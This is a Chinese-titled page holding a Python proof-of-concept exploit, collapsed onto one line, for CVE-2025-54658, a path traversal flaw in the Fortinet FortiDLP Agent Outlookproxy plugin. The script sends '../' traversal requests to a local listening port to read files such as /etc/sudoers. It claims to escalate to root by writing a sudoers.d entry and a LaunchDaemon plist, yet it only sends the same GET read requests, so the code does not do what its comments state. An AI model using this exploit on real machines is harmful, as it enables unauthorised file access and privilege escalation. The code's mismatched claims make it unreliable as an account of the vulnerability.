Fortinet FortiDLP Agent Outlookproxy插件路径遍历权限提升漏洞

#!/usr/bin/env python3 # CVE-2025-54658 - Fortinet FortiDLP Agent Outlookproxy Plugin Path Traversal PoC # This PoC demonstrates path traversal exploitation on the local listening port # of the FortiDLP Agent Outlookproxy plugin to escalate privileges. import socket import sys import argparse TARGET_PORT = 8765 # Default local listening port for Outlookproxy plugin (adjust as needed) BUFFER_SIZE = 4096 def build_traversal_request(target_path): """Build a crafted HTTP-like request with path traversal payload.""" # Use ../ sequences to escape the restricted directory traversal_payload = "../../../../../../../../" + target_path.lstrip("/") request = ( f"GET /{traversal_payload} HTTP/1.1\r\n" f"Host: 127.0.0.1\r\n" f"User-Agent: OutlookProxyClient/1.0\r\n" f"X-Forwarded-For: 127.0.0.1\r\n" f"Connection: close\r\n" f"\r\n" ) return request.encode("utf-8") def exploit_path_traversal(target_file="/etc/sudoers"): """ Send a crafted request to the local Outlookproxy plugin port to perform path traversal and read/write arbitrary files. """ try: # Connect to the local listening port of Outlookproxy plugin sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect(("127.0.0.1", TARGET_PORT)) # Build and send the malicious request with path traversal payload payload = build_traversal_request(target_file) print(f"[*] Sending path traversal request for: {target_file}") sock.send(payload) # Receive the response response = sock.recv(BUFFER_SIZE) print(f"[+] Response received ({len(response)} bytes):") print(response.decode("utf-8", errors="replace")) sock.close() return True except socket.error as e: print(f"[-] Connection error: {e}") return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False def escalate_to_root(): """ Attempt privilege escalation by writing to privileged locations via the path traversal vulnerability. """ # Target: inject a malicious entry into sudoers or LaunchDaemon target_paths = [ "/etc/sudoers.d/pwned", "/Library/LaunchDaemons/com.attacker.escalate.plist", "/private/etc/sudoers" ] for path in target_paths: print(f"\n[*] Attempting traversal to: {path}") exploit_path_traversal(path) if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-54658 PoC - FortiDLP Path Traversal") parser.add_argument("--port", type=int, default=TARGET_PORT, help="Target local port") parser.add_argument("--file", type=str, default="/etc/sudoers", help="Target file to traverse") parser.add_argument("--escalate", action="store_true", help="Attempt privilege escalation") args = parser.parse_args() TARGET_PORT = args.port print("=" * 60) print("CVE-2025-54658 - Fortinet FortiDLP Path Traversal PoC") print("=" * 60) if args.escalate: escalate_to_root() else: exploit_path_traversal(args.file)